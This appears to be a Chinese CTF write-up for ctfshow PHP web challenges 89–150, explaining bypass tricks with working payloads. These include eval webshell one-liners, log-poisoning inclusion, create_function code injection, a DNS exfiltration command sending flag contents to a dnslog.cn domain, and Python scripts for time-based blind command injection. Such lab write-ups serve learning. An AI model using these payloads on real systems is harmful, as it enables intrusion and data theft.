web89
intval():
返回值
>=1 ----->true\a[]\int(数字)\ array('tom','bob')
- Payload:
?num[]=1
web90
- 看php.net
interval()函数第二个参数为0时,转换的时候需要根据value的形式,如果以0开头,认为value是8进制,如果以0x开头,value是16进制
web91
preg_match('/^php$/im', $a)
匹配$a的php
而且php应该是多行的情况比如"abc\nphp"
,如果只是php
也会匹配成功但如果是abcphp
不会匹配成功。
payload:
aaa%0aphp
- 第一次多行匹配可以匹配到php
- 第二次只匹配字符串首尾,无法匹配成功
web92
- 同90
web93
- 八进制绕过
web94
- 小数绕过
web95
strpos
查找字符串首次出现的位置,从0开始- 八进制绕过的时候需要在前面加一位
web96
- php伪协议读取
web97
- 用数组绕过
Md5()函数接受的是字符串,但是传入数组的时候不会报错,只不过是不会执行转换,导致,任意两个数组的值相等
- 要求值不相等
a[]=1&&b[]=2
web98
- 三目运算符的理解
GET和POST同时传参数
HTTP_FLAG=flag
web99
- 根据题意,由于循环次数较多,循环数次数最多的最可能存在,也就是最开始的1-36存在的概率较大
- 利用1-36中的任意数字,写文件,
in_array(string,array[])
弱检测,只关注数组中是否存在字符,不关心是否完全一样
?n=1.php
content = <?php eval($_POST[1]);?>
web100
- 直接查看变量
- 写入代码,包含命令
v2=eval($_POST[1])?> //不允许存在;,则用?>与后面的语句分割
根据提示flag
在ctfshow
中,查看ctfshow
的代码
1=highlight_file("/var/www/html/ctfshow.php");
web101
v1=1&v2=echo new Reflectionclass&v3=;
Reflectionclass:
根据字符串动态创建类
web102
特殊字符串:
<?= `cat *`; base64编码后转换为二进制:
PD89YGNhdCAqYDs
5044383959474e6864434171594473
hex2bin:
将16进制转换为字符串
- 由于之前将语句进行了base64编码,那么
file_put_contents
的时候,就需要base64
解码
利用伪协议在写入语句的时候进行base64
解码
php://filter/write=convert.base64-decode/resource=1.php
Web103
- 同上
web104
- 类似于绕过md5()
数组绕过:
web105
两个$是覆盖赋值
解决办法:
不可能知道flag是啥,就直接通过传参的方式令error=flag
,这样结束的时候输出flag
r绕过get:
suces=flag
绕过POST:
error=suces
这种方式使得$suces$error$flag
全部相同。。
一旦die
,就会输出$flag
web106
- 数组绕过,值不相等
web107
- 控制md5值为0,几个特殊的字符串md5值均以0e开头,也就是均为0
* md5值以0e开头
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
* md5和双md5都是以0e开头
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
特殊的md字符串
ffifdyop md5(ffifdyop)转换为字符串后是 'or '6
Web108
- ereg函数存在%00截断,可以绕过正则
- strrev函数:将给定的字符串反转,
需要将给定的0x36d转换成十进制,再反转
web109
第一种方式
- 根据
new
知道,后面要加一个类,,并且这个类还要接受一条语句,默认本就有的类Exception
Exception是所有异常的基类
Exception {
/* 属性 */
protected string $message;
protected int $code;
protected string $file;
protected int $line;
/* 方法 */
public __construct(string $message = "", int $code = 0, Throwable $previous = null)
final public getMessage(): string
final public getPrevious(): Throwable
final public getCode(): mixed
final public getFile(): string
final public getLine(): int
final public getTrace(): array
final public getTraceAsString(): string
public __toString(): string
final private __clone(): void
}
- 可知,这个类的构造函数要求一条信息(语句)会自动执行
__construct,__toString__clone
<?php
try{
$err = '抛出异常信息,并跳出 try 语句块';
if(is_dir('./test')){
echo '这里是一些可能会发生异常的代码';
}else{
throw new Exception($err, 12345); // 抛出异常
}
echo '上面抛出异常的话,这行代码将不会执行,转而执行 catch 中的代码。<br>';
}catch(Exception $e){
echo '捕获异常:'.$e->getMessage().'<br>错误代码:'.$e->getCode().'<br>';
}
echo '继续执行 try catch 语句之外的代码';
?>
捕获异常:抛出异常信息,并跳出 try 语句块
错误代码:12345
继续执行 try catch 语句之外的代码
Exception会输出第一个参数,也可以执行,之后转换为字符串输出
v1=Exception&v2=system('tac fl36dg.txt')
**注意:**可以先根据ls
命令查看flag
文件
第二种方式
Reflectionclass
函数根据字符串动态返回一个类
- 抛出错误的时候会执行Exception基类的
__tostring
方法,将错误转换成字符串
web110
- 只能使用字母,尝试去找含有
__tostring
能够遍历目录的类
The FilesystemIterator class ¶
- 继承的父类及其方法:
- 由于返回的只是文件名不是字符串,不能使用,类似的还有getPathname….
另一个方法getcwd
返回第一个文件名作为字符串
- 访问文件
web111
- v1是用来输出,v2用来覆盖v1的值
根据题目要求,我们需要使得v1的值为flag,由于在函数内部,我们需要外部的flag值通过传进函数内部
?v1=ctfshow&v2=GLOBALS
Web112
- 这两个函数都支持伪协议,不让过滤就不过滤直接读取
web113
- 查看官方文档寻找可以使用的php伪协议
web114
- 没有过滤filter协议
web115
trim()
:去掉字符串的首尾空格
web123
POST传参数
\.\[
会被转化成_
不过只转换一次直接输出
flag
web125
extract
接受一个数组,并把键名当作变量名,把值当作对应变量的值
<?php
$size = "large";
$var_array = array("color" => "blue",
"size" => "medium",
"shape" => "sphere");
extract($var_array,EXT_PREFIX_SAME,"wddx");
echo "$color,$size,$shape,$wddx_size\n";
?>
web126
parse_str
argv——–》泛指参数,如果提交多个参数,则表示为数组
?a=1+fl0g=flag_give_me
- 此时$a为一个数组
$a[0]=1
$a[1]=fl0g=flag_give_me
- 利用
parse_str
解析字符串成当前作用域的变量
parse_str($a[1])------------> $fl0g = "flag_give_me"
web127
$_GET方式空格
可以代替_
web128
- 要求函数名,不能包含字母数字
<?php
// Set language to German
putenv('LC_ALL=de_DE');
setlocale(LC_ALL, 'de_DE');
// Specify location of translation tables
bindtextdomain("myPHPApp", "./locale");
// Choose domain
textdomain("myPHPApp");
// Translation is looking for in ./locale/de_DE/LC_MESSAGES/myPHPApp.mo now
// Print a test message
echo gettext("Welcome to My PHP Application");
// Or use the alias _() for gettext()
echo _("Have a nice day");
?>
gettext()
可以被_
代替
这个函数的作用相当于输出字符串,在这里作为第二个回调函数,可以想能够不接受参数的函数
get_defined_vars
//得到当前作用域的所有变量
web129
目录穿越
- ```php
/ctfshow/../../../../var/www/html/flag.php## web130 ![image-20210714230603815](http://echo-machile.img-cn-beijing.aliyuncs.com/blog/2021-09-01-031848.jpg) 重点在理解正则:第一个if匹配的是`任何字符+ctfshow`直接用`ctfshow`绕过 ## web131 * 题目环境: ```php <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 05:19:40 */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }
正则回溯会收到配置限制,要匹配的字符串超过一定的长度之后就不再匹配
- 正则回溯
在非贪婪匹配的情况下.+*?
遇到可匹配可不匹配的字符先不匹配,交给之后的字符匹配,若未匹配成功,则返回由自己匹配,每一次提交返回称为一次回溯
如果回溯次数过多,停止回溯,不对后面的字符进行匹配
<?php str_repeat('very','250000').'36Dctfshow';?> //一般保证前面的字符串>1000000个字符
小脚本
import requests
url = "http://39c7e2e9-2a58-4f22-9855-77dba8f58989.challenge.ctf.show:8080/"
abs = 1000000
aps = 100000
while True:
middle = int((abs+aps)/2)
payload = 'very' * middle +'36Dctfshow'
data = {
'f':payload
}
s = requests.post(url,data=data)
if 'ctfshow{' in s.text:
print(s.text)
break
elif 'Too Large' in s.text:
abs = middle
elif 'bye' in s.text:
aps = middle
we b132
逻辑运算
web133
dns数据外带,访问dns.log
F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.ywukah.dnslog.cn -c 1
![image-20210715112031402](http://echo-machile.img-cn-beijing.aliyuncs.com/blog/2021-09-01-031851.jpg)
![image-20210715111946748](http://echo-machile.img-cn-beijing.aliyuncs.com/blog/2021-09-01-031853.jpg)
DNS外带原理:
```mak
攻击者把自己的payload带上域名,那么数据库或者命令行在执行语句的时候,会将返回结果与域名拼接起来,这样查看域名商(dns.log)的ns记录就能看到查询的结果
这种方式适合一些,存在注入攻击,但无法看到回显的情况
web134
parse_str:
parse_str($_SERVER['QUERY_STRING'])---->接受url的get方式传来的参数
以GET方式传过来的值进行解析:
?a=b&c=d 会被解析成
$a=b $c=d
extract():
对接受的数组转变为变量
<?php
a = array(
'abab'=>'abcd'
);
extract(a)
echo $abab //abcd
- 根据题意,可以构造
* url传参:
?_POST[key1]=36d&_POST[key2]=36d
* parse_str($_SERVER['QUERY_STRING'])解析
$_POST[key1]=36d&$_POST[key2]=36d //不再需要POST传参
* extract($_POST)解析:
$key1=36d
$key2=36d
web135
dns外带
nl命令查看文件,awk
过滤行数找到flag
的具体位置,tr -cd
匹配flag
web136
shell命令tee:
ls | tee 1.txt //将ls的执行结果保存到1.txt中(覆盖)
ls | tee -a 1.txt //将执行结果追加到1.txt
ls | tee 1.txt 2.txt //将执行结果同时保存在1.txt和2.txt
与>
不同的是tee
重定向之后会在终端显示结果
Payload:
ls / | tee 1
访问1
cat /f149_15_h3r3 | tee 2 //根目录
web137
Static
方法不需要对象即可调用,调用方式class::function
web138
Call_user_func
函数的多种用法:
- 基本用法:
* 直接收一个基本参数
<?php
function barber($type)
{
echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>
- 接受命名空间
<?php
namespace Foobar;
class Foo {
static public function test() {
print "Hello world!\n";
}
}
call_user_func(__NAMESPACE__ .'\Foo::test'); // As of PHP 5.3.0只有一个参数调用命名空间某个类的静态函数
call_user_func(array(__NAMESPACE__ .'\Foo', 'test')); // As of PHP 5.3.0,第一个参数是命名空间下的某一个类,第二个参数是该类的金泰函数
?>
- 无命名空间的情况
<?php
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));//接受一个数组,两个值分别是类和静态函数
call_user_func($classname .'::say_hello'); // As of 5.2.3 //不用数组形式,也可以接受类和静态函数
$myobject = new myclass();
call_user_func(array($myobject, 'say_hello')); //接受一个对象,以及调用静态函数
?>
总结:
Call_user_func
函数:除了可以调用普通函数之外,也可以调用类中的静态函数,如果以数组形式传参,则不需要::
- 这道题是第3种情况
web139
- awk命令:按分隔符输出文本
- 用法1
awk '{[pattern] action}' {filenames} # 行匹配语句 awk '' 只能用单引号
每行按空格或TAB分割,输出文本中的1、4项
$ awk '{print $1,$4}' log.txt
---------------------------------------------
2 a
3 like
This's
10 orange,apple,mongo
# 格式化输出
$ awk '{printf "%-8s %-10s\n",$1,$4}' log.txt
---------------------------------------------
2 a
3 like
This's
10 orange,apple,mongo
- 用法2:
awk -F #-F相当于内置变量FS, 指定分割字符
awk -F, '{print $1,$2}' log.txt
---------------------------------------------
2 this is a test
3 Are you like awk
This's a test
10 There are orange apple
# 或者使用内建变量
$ awk 'BEGIN{FS=","} {print $1,$2}' log.txt
---------------------------------------------
2 this is a test
3 Are you like awk
This's a test
10 There are orange apple
# 使用多个分隔符.先使用空格分割,然后对分割结果再使用","分割
$ awk -F '[ ,]' '{print $1,$2,$5}' log.txt
---------------------------------------------
2 this test
3 Are awk
This's a
10 There apple
- 用法3
awk -v # 设置变量
$ awk -va=1 '{print $1,$1+a}' log.txt
---------------------------------------------
2 3
3 4
This's 1
10 11
$ awk -va=1 -vb=s '{print $1,$1+a,$1b}' log.txt
---------------------------------------------
2 3 2s
3 4 3s
This's 1 This'ss
10 11 10s
cut
命令:显示每行从开头算起 num1 到 num2 的文字。
参数:
- -b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。
- -c :以字符为单位进行分割。
- -d :自定义分隔符,默认为制表符。
- -f :与-d一起使用,指定显示哪个区域。
- -n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的
范围之内,该字符将被写出;否则,该字符将被排除
跑脚本:
import requests
import time
import string
str=string.ascii_letters+string.digits+"-"+"_"
print(str)
result=""
for i in range(1,7):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 5;fi".format(i,j,n)
#print(payload)
url="http://a9339791-ab7b-45fe-806e-b73bce5056b1.challenge.ctf.show:8080/?c="+payload
try:
requests.get(url,timeout=(4,4))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "
- 这个可以知道flag文件在第几行(由于网络原因可能跑不出完整的文件名)
import requests
import time
import string
str=string.ascii_letters+string.digits+"-"+"_"
print(str)
result=""
key = 0
for j in range(1,15):
for n in str:
payload="if [ `ls /|awk 'NR==4'|cut -c {0}` == {1} ];then sleep 4;fi".format(j,n)
#print(payload)
url="http://a9339791-ab7b-45fe-806e-b73bce5056b1.challenge.ctf.show:8080/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
result+=" "
- 这个可以的到第4行的flag文件的名称
import requests
import time
import string
str=string.ascii_letters+string.digits+"-"+"_"+"{"+"}"
print(str)
result=""
for j in range(1,50):
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 5;fi".format(j,n)
#print(payload)
url="http://a9339791-ab7b-45fe-806e-b73bce5056b1.challenge.ctf.show:8080/?c="+payload
try:
requests.get(url,timeout=(4,4))
except:
result=result+n
print(result)
break
- 跑出flag
web140
- 本地测试
- 所以只需要不给$code赋值,或者延迟赋值就可达到目的
usleep //延迟执行函数
web141
web147
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
create_function($a,$b)
:
以$a
为参数$b
为函数内容,构建新的函数,返回函数的名称
相当于
create_function($a,$b)
====>
function f($a){
$b;
}
- 如果$b中出现}就会导致函数闭合,从而可以执行我们输入的新函数
echo 123;}system(tac f*);//
create_function($a,echo 123;}system(tac f*);//)
====>
function f($a){
echo 123;}
system(tac f*);//
} //这个括号被前边的'//'注释
- 根据正则,是要检测函数收尾存在一个字符能绕过正则,并且不影响函数的执行
%5c是\
,函数在命名空间下,真正的形式是\函数名
表示当前命名空间的函数,绕过正则
可显示字符[编辑]
二进制 | 十进制 | 十六进制 | 图形 |
---|---|---|---|
0010 0000 | 32 | 20 | (space) |
0010 0001 | 33 | 21 | ! |
0010 0010 | 34 | 22 | “ |
0010 0011 | 35 | 23 | # |
0010 0100 | 36 | 24 | $ |
0010 0101 | 37 | 25 | % |
0010 0110 | 38 | 26 | & |
0010 0111 | 39 | 27 | ‘ |
0010 1000 | 40 | 28 | ( |
0010 1001 | 41 | 29 | ) |
0010 1010 | 42 | 2A | * |
0010 1011 | 43 | 2B | + |
0010 1100 | 44 | 2C | , |
0010 1101 | 45 | 2D | - |
0010 1110 | 46 | 2E | . |
0010 1111 | 47 | 2F | / |
0011 0000 | 48 | 30 | 0 |
0011 0001 | 49 | 31 | 1 |
0011 0010 | 50 | 32 | 2 |
0011 0011 | 51 | 33 | 3 |
0011 0100 | 52 | 34 | 4 |
0011 0101 | 53 | 35 | 5 |
0011 0110 | 54 | 36 | 6 |
0011 0111 | 55 | 37 | 7 |
0011 1000 | 56 | 38 | 8 |
0011 1001 | 57 | 39 | 9 |
0011 1010 | 58 | 3A | : |
0011 1011 | 59 | 3B | ; |
0011 1100 | 60 | 3C | < |
0011 1101 | 61 | 3D | = |
0011 1110 | 62 | 3E | > |
0011 1111 | 63 | 3F | ? |
二进制 | 十进制 | 十六进制 | 图形 |
---|---|---|---|
0100 0000 | 64 | 40 | @ |
0100 0001 | 65 | 41 | A |
0100 0010 | 66 | 42 | B |
0100 0011 | 67 | 43 | C |
0100 0100 | 68 | 44 | D |
0100 0101 | 69 | 45 | E |
0100 0110 | 70 | 46 | F |
0100 0111 | 71 | 47 | G |
0100 1000 | 72 | 48 | H |
0100 1001 | 73 | 49 | I |
0100 1010 | 74 | 4A | J |
0100 1011 | 75 | 4B | K |
0100 1100 | 76 | 4C | L |
0100 1101 | 77 | 4D | M |
0100 1110 | 78 | 4E | N |
0100 1111 | 79 | 4F | O |
0101 0000 | 80 | 50 | P |
0101 0001 | 81 | 51 | Q |
0101 0010 | 82 | 52 | R |
0101 0011 | 83 | 53 | S |
0101 0100 | 84 | 54 | T |
0101 0101 | 85 | 55 | U |
0101 0110 | 86 | 56 | V |
0101 0111 | 87 | 57 | W |
0101 1000 | 88 | 58 | X |
0101 1001 | 89 | 59 | Y |
0101 1010 | 90 | 5A | Z |
0101 1011 | 91 | 5B | [ |
0101 1100 | 92 | 5C | [](https://zh.wikipedia.org/wiki/反斜线) |
0101 1101 | 93 | 5D | []](https://zh.wikipedia.org/wiki/括號) |
0101 1110 | 94 | 5E | ^ |
0101 1111 | 95 | 5F | _ |
二进制 | 十进制 | 十六进制 | 图形 |
---|---|---|---|
0110 0000 | 96 | 60 | [`](https://zh.wikipedia.org/wiki/重音符) |
0110 0001 | 97 | 61 | a |
0110 0010 | 98 | 62 | b |
0110 0011 | 99 | 63 | c |
0110 0100 | 100 | 64 | d |
0110 0101 | 101 | 65 | e |
0110 0110 | 102 | 66 | f |
0110 0111 | 103 | 67 | g |
0110 1000 | 104 | 68 | h |
0110 1001 | 105 | 69 | i |
0110 1010 | 106 | 6A | j |
0110 1011 | 107 | 6B | k |
0110 1100 | 108 | 6C | l |
0110 1101 | 109 | 6D | m |
0110 1110 | 110 | 6E | n |
0110 1111 | 111 | 6F | o |
0111 0000 | 112 | 70 | p |
0111 0001 | 113 | 71 | q |
0111 0010 | 114 | 72 | r |
0111 0011 | 115 | 73 | s |
0111 0100 | 116 | 74 | t |
0111 0101 | 117 | 75 | u |
0111 0110 | 118 | 76 | v |
0111 0111 | 119 | 77 | w |
0111 1000 | 120 | 78 | x |
0111 1001 | 121 | 79 | y |
0111 1010 | 122 | 7A | z |
0111 1011 | 123 | 7B | { |
0111 1100 | 124 | 7C | | |
0111 1101 | 125 | 7D | } |
0111 1110 | 126 | 7E | ~ |
不可见字符
二进制 | 十进制 | 十六进制 | 缩写 | Unicode 表示法 | 脱出字符 表示法 | 名称/意义 |
---|---|---|---|---|---|---|
0000 0000 | 0 | 00 | NUL | ␀ | ^@ | 空字符(Null) |
0000 0001 | 1 | 01 | SOH | ␁ | ^A | 标题开始 |
0000 0010 | 2 | 02 | STX | ␂ | ^B | 本文开始 |
0000 0011 | 3 | 03 | ETX | ␃ | ^C | 本文结束 |
0000 0100 | 4 | 04 | EOT | ␄ | ^D | 传输结束 |
0000 0101 | 5 | 05 | ENQ | ␅ | ^E | 请求 |
0000 0110 | 6 | 06 | ACK | ␆ | ^F | 确认回应 |
0000 0111 | 7 | 07 | BEL | ␇ | ^G | 响铃 |
0000 1000 | 8 | 08 | BS | ␈ | ^H | 退格 |
0000 1001 | 9 | 09 | HT | ␉ | ^I | 水平定位符号 |
0000 1010 | 10 | 0A | LF | ␊ | ^J | 换行键 |
0000 1011 | 11 | 0B | VT | ␋ | ^K | 垂直定位符号 |
0000 1100 | 12 | 0C | FF | ␌ | ^L | 换页键 |
0000 1101 | 13 | 0D | CR | ␍ | ^M | CR (字符) |
0000 1110 | 14 | 0E | SO | ␎ | ^N | 取消变换(Shift out) |
0000 1111 | 15 | 0F | SI | ␏ | ^O | 启用变换(Shift in) |
0001 0000 | 16 | 10 | DLE | ␐ | ^P | 跳出数据通讯 |
0001 0001 | 17 | 11 | DC1 | ␑ | ^Q | 设备控制一(XON 激活软件速度控制) |
0001 0010 | 18 | 12 | DC2 | ␒ | ^R | 设备控制二 |
0001 0011 | 19 | 13 | DC3 | ␓ | ^S | 设备控制三(XOFF 停用软件速度控制) |
0001 0100 | 20 | 14 | DC4 | ␔ | ^T | 设备控制四 |
0001 0101 | 21 | 15 | NAK | ␕ | ^U | 确认失败回应 |
0001 0110 | 22 | 16 | SYN | ␖ | ^V | 同步用暂停 |
0001 0111 | 23 | 17 | ETB | ␗ | ^W | 区块传输结束 |
0001 1000 | 24 | 18 | CAN | ␘ | ^X | 取消 |
0001 1001 | 25 | 19 | EM | ␙ | ^Y | 连线介质中断 |
0001 1010 | 26 | 1A | SUB | ␚ | ^Z | 替换 |
0001 1011 | 27 | 1B | ESC | ␛ | ^[ | 退出键 |
0001 1100 | 28 | 1C | FS | ␜ | ^\ | 文件分割符 |
0001 1101 | 29 | 1D | GS | ␝ | ^] | 组群分隔符 |
0001 1110 | 30 | 1E | RS | ␞ | ^^ | 记录分隔符 |
0001 1111 | 31 | 1F | US | ␟ | ^_ | 单元分隔符 |
0111 1111 | 127 | 7F | DEL | ␡ | ^? | Delete字符 |
web149
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
直接在
index.php
写入一句话<?php eval($_GET[1]);?>
列根目录,看flag
web150
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
php$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
- 日志文件包含
先用
User-Agent
放置一句话包含请求
<?=eval($_POST[1]);?>
- Include(ctf)包含日志:
ctf=/var/log/nginx/access.log&1=system('tac flag.php');